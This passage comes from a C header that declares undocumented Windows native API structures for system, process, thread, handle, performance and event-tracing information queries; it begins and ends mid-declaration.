USHORT ProcessorRevision;\n USHORT MaximumProcessors;\n ULONG ProcessorFeatureBits;\n} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;\n\ntypedef struct _SYSTEM_PERFORMANCE_INFORMATION\n{\n LARGE_INTEGER IdleProcessTime;\n LARGE_INTEGER IoReadTransferCount;\n LARGE_INTEGER IoWriteTransferCount;\n LARGE_INTEGER IoOtherTransferCount;\n ULONG IoReadOperationCount;\n ULONG IoWriteOperationCount;\n ULONG IoOtherOperationCount;\n ULONG AvailablePages;\n ULONG CommittedPages;\n ULONG CommitLimit;\n ULONG PeakCommitment;\n ULONG PageFaultCount;\n ULONG CopyOnWriteCount;\n ULONG TransitionCount;\n ULONG CacheTransitionCount;\n ULONG DemandZeroCount;\n ULONG PageReadCount;\n ULONG PageReadIoCount;\n ULONG CacheReadCount;\n ULONG CacheIoCount;\n ULONG DirtyPagesWriteCount;\n ULONG DirtyWriteIoCount;\n ULONG MappedPagesWriteCount;\n ULONG MappedWriteIoCount;\n ULONG PagedPoolPages;\n ULONG NonPagedPoolPages;\n ULONG PagedPoolAllocs;\n ULONG PagedPoolFrees;\n ULONG NonPagedPoolAllocs;\n ULONG NonPagedPoolFrees;\n ULONG FreeSystemPtes;\n ULONG ResidentSystemCodePage;\n ULONG TotalSystemDriverPages;\n ULONG TotalSystemCodePages;\n ULONG NonPagedPoolLookasideHits;\n ULONG PagedPoolLookasideHits;\n ULONG AvailablePagedPoolPages;\n ULONG ResidentSystemCachePage;\n ULONG ResidentPagedPoolPage;\n ULONG ResidentSystemDriverPage;\n ULONG CcFastReadNoWait;\n ULONG CcFastReadWait;\n ULONG CcFastReadResourceMiss;\n ULONG CcFastReadNotPossible;\n ULONG CcFastMdlReadNoWait;\n ULONG CcFastMdlReadWait;\n ULONG CcFastMdlReadResourceMiss;\n ULONG CcFastMdlReadNotPossible;\n ULONG CcMapDataNoWait;\n ULONG CcMapDataWait;\n ULONG CcMapDataNoWaitMiss;\n ULONG CcMapDataWaitMiss;\n ULONG CcPinMappedDataCount;\n ULONG CcPinReadNoWait;\n ULONG CcPinReadWait;\n ULONG CcPinReadNoWaitMiss;\n ULONG CcPinReadWaitMiss;\n ULONG CcCopyReadNoWait;\n ULONG CcCopyReadWait;\n ULONG CcCopyReadNoWaitMiss;\n ULONG CcCopyReadWaitMiss;\n ULONG CcMdlReadNoWait;\n ULONG CcMdlReadWait;\n ULONG CcMdlReadNoWaitMiss;\n ULONG CcMdlReadWaitMiss;\n ULONG CcReadAheadIos;\n ULONG CcLazyWriteIos;\n ULONG CcLazyWritePages;\n ULONG CcDataFlushes;\n ULONG CcDataPages;\n ULONG ContextSwitches;\n ULONG FirstLevelTbFills;\n ULONG SecondLevelTbFills;\n ULONG SystemCalls;\n ULONGLONG CcTotalDirtyPages; // since THRESHOLD\n ULONGLONG CcDirtyPageThreshold; // since THRESHOLD\n LONGLONG ResidentAvailablePages; // since THRESHOLD\n ULONGLONG SharedCommittedPages; // since THRESHOLD\n} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;\n\ntypedef struct _SYSTEM_TIMEOFDAY_INFORMATION\n{\n LARGE_INTEGER BootTime;\n LARGE_INTEGER CurrentTime;\n LARGE_INTEGER TimeZoneBias;\n ULONG TimeZoneId;\n ULONG Reserved;\n ULONGLONG BootTimeBias;\n ULONGLONG SleepTimeBias;\n} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;\n\ntypedef struct _SYSTEM_THREAD_INFORMATION\n{\n LARGE_INTEGER KernelTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER CreateTime;\n ULONG WaitTime;\n PVOID StartAddress;\n CLIENT_ID ClientId;\n KPRIORITY Priority;\n LONG BasePriority;\n ULONG ContextSwitches;\n KTHREAD_STATE ThreadState;\n KWAIT_REASON WaitReason;\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\n\ntypedef struct _TEB *PTEB;\n\n// private\ntypedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION\n{\n SYSTEM_THREAD_INFORMATION ThreadInfo;\n PVOID StackBase;\n PVOID StackLimit;\n PVOID Win32StartAddress;\n PTEB TebBase; // since VISTA\n ULONG_PTR Reserved2;\n ULONG_PTR Reserved3;\n ULONG_PTR Reserved4;\n} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG NumberOfThreads;\n LARGE_INTEGER WorkingSetPrivateSize; // since VISTA\n ULONG HardFaultCount; // since WIN7\n ULONG NumberOfThreadsHighWatermark; // since WIN7\n ULONGLONG CycleTime; // since WIN7\n LARGE_INTEGER CreateTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER KernelTime;\n UNICODE_STRING ImageName;\n KPRIORITY BasePriority;\n HANDLE UniqueProcessId;\n HANDLE InheritedFromUniqueProcessId;\n ULONG HandleCount;\n ULONG SessionId;\n ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)\n SIZE_T PeakVirtualSize;\n SIZE_T VirtualSize;\n ULONG PageFaultCount;\n SIZE_T PeakWorkingSetSize;\n SIZE_T WorkingSetSize;\n SIZE_T QuotaPeakPagedPoolUsage;\n SIZE_T QuotaPagedPoolUsage;\n SIZE_T QuotaPeakNonPagedPoolUsage;\n SIZE_T QuotaNonPagedPoolUsage;\n SIZE_T PagefileUsage;\n SIZE_T PeakPagefileUsage;\n SIZE_T PrivatePageCount;\n LARGE_INTEGER ReadOperationCount;\n LARGE_INTEGER WriteOperationCount;\n LARGE_INTEGER OtherOperationCount;\n LARGE_INTEGER ReadTransferCount;\n LARGE_INTEGER WriteTransferCount;\n LARGE_INTEGER OtherTransferCount;\n SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation\n // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation\n // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\ntypedef struct _SYSTEM_CALL_COUNT_INFORMATION\n{\n ULONG Length;\n ULONG NumberOfTables;\n} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;\n\ntypedef struct _SYSTEM_DEVICE_INFORMATION\n{\n ULONG NumberOfDisks;\n ULONG NumberOfFloppies;\n ULONG NumberOfCdRoms;\n ULONG NumberOfTapes;\n ULONG NumberOfSerialPorts;\n ULONG NumberOfParallelPorts;\n} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION\n{\n LARGE_INTEGER IdleTime;\n LARGE_INTEGER KernelTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER DpcTime;\n LARGE_INTEGER InterruptTime;\n ULONG InterruptCount;\n} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;\n\ntypedef struct _SYSTEM_FLAGS_INFORMATION\n{\n ULONG Flags; // NtGlobalFlag\n} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_CALL_TIME_INFORMATION\n{\n ULONG Length;\n ULONG TotalCalls;\n LARGE_INTEGER TimeOfCalls[1];\n} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION;\n\n// private\ntypedef struct _RTL_PROCESS_LOCK_INFORMATION\n{\n PVOID Address;\n USHORT Type;\n USHORT CreatorBackTraceIndex;\n HANDLE OwningThread;\n LONG LockCount;\n ULONG ContentionCount;\n ULONG EntryCount;\n LONG RecursionCount;\n ULONG NumberOfWaitingShared;\n ULONG NumberOfWaitingExclusive;\n} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION;\n\n// private\ntypedef struct _RTL_PROCESS_LOCKS\n{\n ULONG NumberOfLocks;\n RTL_PROCESS_LOCK_INFORMATION Locks[1];\n} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS;\n\n// private\ntypedef struct _RTL_PROCESS_BACKTRACE_INFORMATION\n{\n PCHAR SymbolicBackTrace;\n ULONG TraceCount;\n USHORT Index;\n USHORT Depth;\n PVOID BackTrace[32];\n} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION;\n\n// private\ntypedef struct _RTL_PROCESS_BACKTRACES\n{\n ULONG CommittedMemory;\n ULONG ReservedMemory;\n ULONG NumberOfBackTraceLookups;\n ULONG NumberOfBackTraces;\n RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1];\n} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO\n{\n USHORT UniqueProcessId;\n USHORT CreatorBackTraceIndex;\n UCHAR ObjectTypeIndex;\n UCHAR HandleAttributes;\n USHORT HandleValue;\n PVOID Object;\n ULONG GrantedAccess;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION\n{\n ULONG NumberOfHandles;\n SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\n\ntypedef struct _SYSTEM_OBJECTTYPE_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG NumberOfObjects;\n ULONG NumberOfHandles;\n ULONG TypeIndex;\n ULONG InvalidAttributes;\n GENERIC_MAPPING GenericMapping;\n ULONG ValidAccessMask;\n ULONG PoolType;\n BOOLEAN SecurityRequired;\n BOOLEAN WaitableObject;\n UNICODE_STRING TypeName;\n} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION;\n\ntypedef struct _SYSTEM_OBJECT_INFORMATION\n{\n ULONG NextEntryOffset;\n PVOID Object;\n HANDLE CreatorUniqueProcess;\n USHORT CreatorBackTraceIndex;\n USHORT Flags;\n LONG PointerCount;\n LONG HandleCount;\n ULONG PagedPoolCharge;\n ULONG NonPagedPoolCharge;\n HANDLE ExclusiveProcessId;\n PVOID SecurityDescriptor;\n UNICODE_STRING NameInfo;\n} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION;\n\ntypedef struct _SYSTEM_PAGEFILE_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG TotalSize;\n ULONG TotalInUse;\n ULONG PeakUsage;\n UNICODE_STRING PageFileName;\n} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION;\n\n#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1\n#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2\n#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4\n#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8\n\ntypedef struct _SYSTEM_FILECACHE_INFORMATION\n{\n SIZE_T CurrentSize;\n SIZE_T PeakSize;\n ULONG PageFaultCount;\n SIZE_T MinimumWorkingSet;\n SIZE_T MaximumWorkingSet;\n SIZE_T CurrentSizeIncludingTransitionInPages;\n SIZE_T PeakSizeIncludingTransitionInPages;\n ULONG TransitionRePurposeCount;\n ULONG Flags;\n} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION;\n\n// Can be used instead of SYSTEM_FILECACHE_INFORMATION\ntypedef struct _SYSTEM_BASIC_WORKING_SET_INFORMATION\n{\n SIZE_T CurrentSize;\n SIZE_T PeakSize;\n ULONG PageFaultCount;\n} SYSTEM_BASIC_WORKING_SET_INFORMATION, *PSYSTEM_BASIC_WORKING_SET_INFORMATION;\n\ntypedef struct _SYSTEM_POOLTAG\n{\n union\n {\n UCHAR Tag[4];\n ULONG TagUlong;\n };\n ULONG PagedAllocs;\n ULONG PagedFrees;\n SIZE_T PagedUsed;\n ULONG NonPagedAllocs;\n ULONG NonPagedFrees;\n SIZE_T NonPagedUsed;\n} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG;\n\ntypedef struct _SYSTEM_POOLTAG_INFORMATION\n{\n ULONG Count;\n SYSTEM_POOLTAG TagInfo[1];\n} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION;\n\ntypedef struct _SYSTEM_INTERRUPT_INFORMATION\n{\n ULONG ContextSwitches;\n ULONG DpcCount;\n ULONG DpcRate;\n ULONG TimeIncrement;\n ULONG DpcBypassCount;\n ULONG ApcBypassCount;\n} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;\n\ntypedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION\n{\n ULONG Spare;\n ULONG DpcQueueDepth;\n ULONG MinimumDpcRate;\n ULONG AdjustDpcThreshold;\n ULONG IdealDpcRate;\n} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION;\n\ntypedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION\n{\n ULONG TimeAdjustment;\n ULONG TimeIncrement;\n BOOLEAN Enable;\n} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;\n\ntypedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE\n{\n ULONGLONG TimeAdjustment;\n ULONGLONG TimeIncrement;\n BOOLEAN Enable;\n} SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE;\n\ntypedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION\n{\n ULONG TimeAdjustment;\n BOOLEAN Enable;\n} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;\n\ntypedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE\n{\n ULONGLONG TimeAdjustment;\n BOOLEAN Enable;\n} SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE, *PSYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE;\n\ntypedef enum _EVENT_TRACE_INFORMATION_CLASS\n{\n EventTraceKernelVersionInformation, // EVENT_TRACE_VERSION_INFORMATION\n EventTraceGroupMaskInformation, // EVENT_TRACE_GROUPMASK_INFORMATION\n EventTracePerformanceInformation, // EVENT_TRACE_PERFORMANCE_INFORMATION\n EventTraceTimeProfileInformation, // EVENT_TRACE_TIME_PROFILE_INFORMATION\n EventTraceSessionSecurityInformation, // EVENT_TRACE_SESSION_SECURITY_INFORMATION\n EventTraceSpinlockInformation, // EVENT_TRACE_SPINLOCK_INFORMATION\n EventTraceStackTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION\n EventTraceExecutiveResourceInformation, // EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION\n EventTraceHeapTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION\n EventTraceHeapSummaryTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION\n EventTracePoolTagFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION\n EventTracePebsTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION \n EventTraceProfileConfigInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION\n EventTraceProfileSourceListInformation, // EVENT_TRACE_PROFILE_LIST_INFORMATION\n EventTraceProfileEventListInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION \n EventTraceProfileCounterListInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION \n EventTraceStackCachingInformation, // EVENT_TRACE_STACK_CACHING_INFORMATION\n EventTraceObjectTypeFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION\n EventTraceSoftRestartInformation, // EVENT_TRACE_SOFT_RESTART_INFORMATION\n EventTraceLastBranchConfigurationInformation, // REDSTONE3\n EventTraceLastBranchEventListInformation,\n EventTraceProfileSourceAddInformation, // EVENT_TRACE_PROFILE_ADD_INFORMATION // REDSTONE4\n EventTraceProfileSourceRemoveInformation, // EVENT_TRACE_PROFILE_REMOVE_INFORMATION\n EventTraceProcessorTraceConfigurationInformation,\n EventTraceProcessorTraceEventListInformation,\n EventTraceCoverageSamplerInformation, // EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION\n MaxEventTraceInfoClass\n} EVENT_TRACE_INFORMATION_CLASS;\n\ntypedef struct _EVENT_TRACE_VERSION_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG EventTraceKernelVersion;\n} EVENT_TRACE_VERSION_INFORMATION, *PEVENT_TRACE_VERSION_INFORMATION;\n\ntypedef struct _PERFINFO_GROUPMASK\n{\n ULONG Masks[8];\n} PERFINFO_GROUPMASK, *PPERFINFO_GROUPMASK;\n\ntypedef struct _EVENT_TRACE_GROUPMASK_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n HANDLE TraceHandle;\n PERFINFO_GROUPMASK EventTraceGroupMasks;\n} EVENT_TRACE_GROUPMASK_INFORMATION, *PEVENT_TRACE_GROUPMASK_INFORMATION;\n\ntypedef struct _EVENT_TRACE_PERFORMANCE_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n LARGE_INTEGER LogfileBytesWritten;\n} EVENT_TRACE_PERFORMANCE_INFORMATION, *PEVENT_TRACE_PERFORMANCE_INFORMATION;\n\ntypedef struct _EVENT_TRACE_TIME_PROFILE_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG ProfileInterval;\n} EVENT_TRACE_TIME_PROFILE_INFORMATION, *PEVENT_TRACE_TIME_PROFILE_INFORMATION;\n\ntypedef struct _EVENT_TRACE_SESSION_SECURITY_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG SecurityInformation;\n HANDLE TraceHandle;\n UCHAR SecurityDescriptor[1];\n} EVENT_TRACE_SESSION_SECURITY_INFORMATION, *PEVENT_TRACE_SESSION_SECURITY_INFORMATION;\n\ntypedef struct _EVENT_TRACE_SPINLOCK_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG SpinLockSpinThreshold;\n ULONG SpinLockAcquireSampleRate;\n ULONG SpinLockContentionSampleRate;\n ULONG SpinLockHoldThreshold;\n} EVENT_TRACE_SPINLOCK_INFORMATION, *PEVENT_TRACE_SPINLOCK_INFORMATION;\n\ntypedef struct _EVENT_TRACE_SYSTEM_EVENT_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n HANDLE TraceHandle;\n ULONG HookId[1];\n} EVENT_TRACE_SYSTEM_EVENT_INFORMATION, *PEVENT_TRACE_SYSTEM_EVENT_INFORMATION;\n\ntypedef struct _EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG ReleaseSamplingRate;\n ULONG ContentionSamplingRate;\n ULONG NumberOfExcessiveTimeouts;\n} EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION, *PEVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION;\n\ntypedef struct _EVENT_TRACE_HEAP_TRACING_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG ProcessId;\n} EVENT_TRACE_HEAP_TRACING_INFORMATION, *PEVENT_TRACE_HEAP_TRACING_INFORMATION;\n\ntypedef struct _EVENT_TRACE_TAG_FILTER_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n HANDLE TraceHandle;\n ULONG Filter[1];\n} EVENT_TRACE_TAG_FILTER_INFORMATION, *PEVENT_TRACE_TAG_FILTER_INFORMATION;\n\ntypedef struct _EVENT_TRACE_PROFILE_COUNTER_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n HANDLE TraceHandle;\n ULONG ProfileSource[1];\n} EVENT_TRACE_PROFILE_COUNTER_INFORMATION, *PEVENT_TRACE_PROFILE_COUNTER_INFORMATION;\n\n//typedef struct _PROFILE_SOURCE_INFO\n//{\n// ULONG NextEntryOffset;\n// ULONG Source;\n// ULONG MinInterval;\n// ULONG MaxInterval;\n// PVOID Reserved;\n// WCHAR Description[1];\n//} PROFILE_SOURCE_INFO, *PPROFILE_SOURCE_INFO;\n\ntypedef struct _EVENT_TRACE_PROFILE_LIST_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n ULONG Spare;\n struct _PROFILE_SOURCE_INFO* Profile[1];\n} EVENT_TRACE_PROFILE_LIST_INFORMATION, *PEVENT_TRACE_PROFILE_LIST_INFORMATION;\n\ntypedef struct _EVENT_TRACE_STACK_CACHING_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n HANDLE TraceHandle;\n BOOLEAN Enabled;\n UCHAR Reserved[3];\n ULONG CacheSize;\n ULONG BucketCount;\n} EVENT_TRACE_STACK_CACHING_INFORMATION, *PEVENT_TRACE_STACK_CACHING_INFORMATION;\n\ntypedef struct _EVENT_TRACE_SOFT_RESTART_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n HANDLE TraceHandle;\n BOOLEAN PersistTraceBuffers;\n WCHAR FileName[1];\n} EVENT_TRACE_SOFT_RESTART_INFORMATION, *PEVENT_TRACE_SOFT_RESTART_INFORMATION;\n\ntypedef struct _EVENT_TRACE_PROFILE_ADD_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n BOOLEAN PerfEvtEventSelect;\n BOOLEAN PerfEvtUnitSelect;\n ULONG PerfEvtType;\n ULONG CpuInfoHierarchy[0x3];\n ULONG InitialInterval;\n BOOLEAN AllowsHalt;\n BOOLEAN Persist;\n WCHAR ProfileSourceDescription[0x1];\n} EVENT_TRACE_PROFILE_ADD_INFORMATION, *PEVENT_TRACE_PROFILE_ADD_INFORMATION;\n\ntypedef struct _EVENT_TRACE_PROFILE_REMOVE_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n KPROFILE_SOURCE ProfileSource;\n ULONG CpuInfoHierarchy[0x3];\n} EVENT_TRACE_PROFILE_REMOVE_INFORMATION, *PEVENT_TRACE_PROFILE_REMOVE_INFORMATION;\n\ntypedef struct _EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION\n{\n EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass;\n BOOLEAN CoverageSamplerInformationClass;\n UCHAR MajorVersion;\n UCHAR MinorVersion;\n UCHAR Reserved;\n HANDLE SamplerHandle;\n} EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION, *PEVENT_TRACE_COVERAGE_SAMPLER_INFORMATION;\n\ntypedef struct _SYSTEM_EXCEPTION_INFORMATION\n{\n ULONG AlignmentFixupCount;\n ULONG ExceptionDispatchCount;\n ULONG FloatingEmulationCount;\n ULONG ByteWordEmulationCount;\n} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;\n\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION\n{\n BOOLEAN KernelDebuggerEnabled;\n BOOLEAN KernelDebuggerNotPresent;\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;\n\ntypedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION\n{\n ULONG ContextSwitches;\n ULONG FindAny;\n ULONG FindLast;\n ULONG FindIdeal;\n ULONG IdleAny;\n ULONG IdleCurrent;\n ULONG IdleLast;\n ULONG IdleIdeal;\n ULONG PreemptAny;\n ULONG PreemptCurrent;\n ULONG PreemptLast;\n ULONG SwitchToIdle;\n} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION;\n\ntypedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION\n{\n ULONG RegistryQuotaAllowed;\n ULONG RegistryQuotaUsed;\n SIZE_T PagedPoolSize;\n} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION\n{\n ULONGLONG IdleTime;\n ULONGLONG C1Time;\n ULONGLONG C2Time;\n ULONGLONG C3Time;\n ULONG C1Transitions;\n ULONG C2Transitions;\n ULONG C3Transitions;\n ULONG Padding;\n} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION;\n\ntypedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION\n{\n ULONG VetoType;\n UNICODE_STRING VetoList;\n} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION;\n\ntypedef struct _SYSTEM_LOOKASIDE_INFORMATION\n{\n USHORT CurrentDepth;\n USHORT MaximumDepth;\n ULONG TotalAllocates;\n ULONG AllocateMisses;\n ULONG TotalFrees;\n ULONG FreeMisses;\n ULONG Type;\n ULONG Tag;\n ULONG Size;\n} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_RANGE_START_INFORMATION\n{\n PVOID SystemRangeStart;\n} SYSTEM_RANGE_START_INFORMATION, *PSYSTEM_RANGE_START_INFORMATION;\n\ntypedef struct _SYSTEM_VERIFIER_INFORMATION_LEGACY // pre-19H1\n{\n ULONG NextEntryOffset;\n ULONG Level;\n UNICODE_STRING DriverName;\n\n ULONG RaiseIrqls;\n ULONG AcquireSpinLocks;\n ULONG SynchronizeExecutions;\n ULONG AllocationsAttempted;\n\n ULONG AllocationsSucceeded;\n ULONG AllocationsSucceededSpecialPool;\n ULONG AllocationsWithNoTag;\n ULONG TrimRequests;\n\n ULONG Trims;\n ULONG AllocationsFailed;\n ULONG AllocationsFailedDeliberately;\n ULONG Loads;\n\n ULONG Unloads;\n ULONG UnTrackedPool;\n ULONG CurrentPagedPoolAllocations;\n ULONG CurrentNonPagedPoolAllocations;\n\n ULONG PeakPagedPoolAllocations;\n ULONG PeakNonPagedPoolAllocations;\n\n SIZE_T PagedPoolUsageInBytes;\n SIZE_T NonPagedPoolUsageInBytes;\n SIZE_T PeakPagedPoolUsageInBytes;\n SIZE_T PeakNonPagedPoolUsageInBytes;\n} SYSTEM_VERIFIER_INFORMATION_LEGACY, *PSYSTEM_VERIFIER_INFORMATION_LEGACY;\n\ntypedef struct _SYSTEM_VERIFIER_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG Level;\n ULONG RuleClasses[2];\n ULONG TriageContext;\n ULONG AreAllDriversBeingVerified;\n\n UNICODE_STRING DriverName;\n\n ULONG RaiseIrqls;\n ULONG AcquireSpinLocks;\n ULONG SynchronizeExecutions;\n ULONG AllocationsAttempted;\n\n ULONG AllocationsSucceeded;\n ULONG AllocationsSucceededSpecialPool;\n ULONG AllocationsWithNoTag;\n ULONG TrimRequests;\n\n ULONG Trims;\n ULONG AllocationsFailed;\n ULONG AllocationsFailedDeliberately;\n ULONG Loads;\n\n ULONG Unloads;\n ULONG UnTrackedPool;\n ULONG CurrentPagedPoolAllocations;\n ULONG CurrentNonPagedPoolAllocations;\n\n ULONG PeakPagedPoolAllocations;\n ULONG PeakNonPagedPoolAllocations;\n\n SIZE_T PagedPoolUsageInBytes;\n SIZE_T NonPagedPoolUsageInBytes;\n SIZE_T PeakPagedPoolUsageInBytes;\n SIZE_T PeakNonPagedPoolUsageInBytes;\n} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION;\n\ntypedef struct _SYSTEM_SESSION_PROCESS_INFORMATION\n{\n ULONG SessionId;\n ULONG SizeOfBuf;\n PVOID Buffer;\n} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION\n{\n UCHAR CurrentFrequency;\n UCHAR ThermalLimitFrequency;\n UCHAR ConstantThrottleFrequency;\n UCHAR DegradedThrottleFrequency;\n UCHAR LastBusyFrequency;\n UCHAR LastC3Frequency;\n UCHAR LastAdjustedBusyFrequency;\n UCHAR ProcessorMinThrottle;\n UCHAR ProcessorMaxThrottle;\n ULONG NumberOfFrequencies;\n ULONG PromotionCount;\n ULONG DemotionCount;\n ULONG ErrorCount;\n ULONG RetryCount;\n ULONGLONG CurrentFrequencyTime;\n ULONGLONG CurrentProcessorTime;\n ULONGLONG CurrentProcessorIdleTime;\n ULONGLONG LastProcessorTime;\n ULONGLONG LastProcessorIdleTime;\n ULONGLONG Energy;\n} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX\n{\n PVOID Object;\n ULONG_PTR UniqueProcessId;\n ULONG_PTR HandleValue;\n ULONG GrantedAccess;\n USHORT CreatorBackTraceIndex;\n 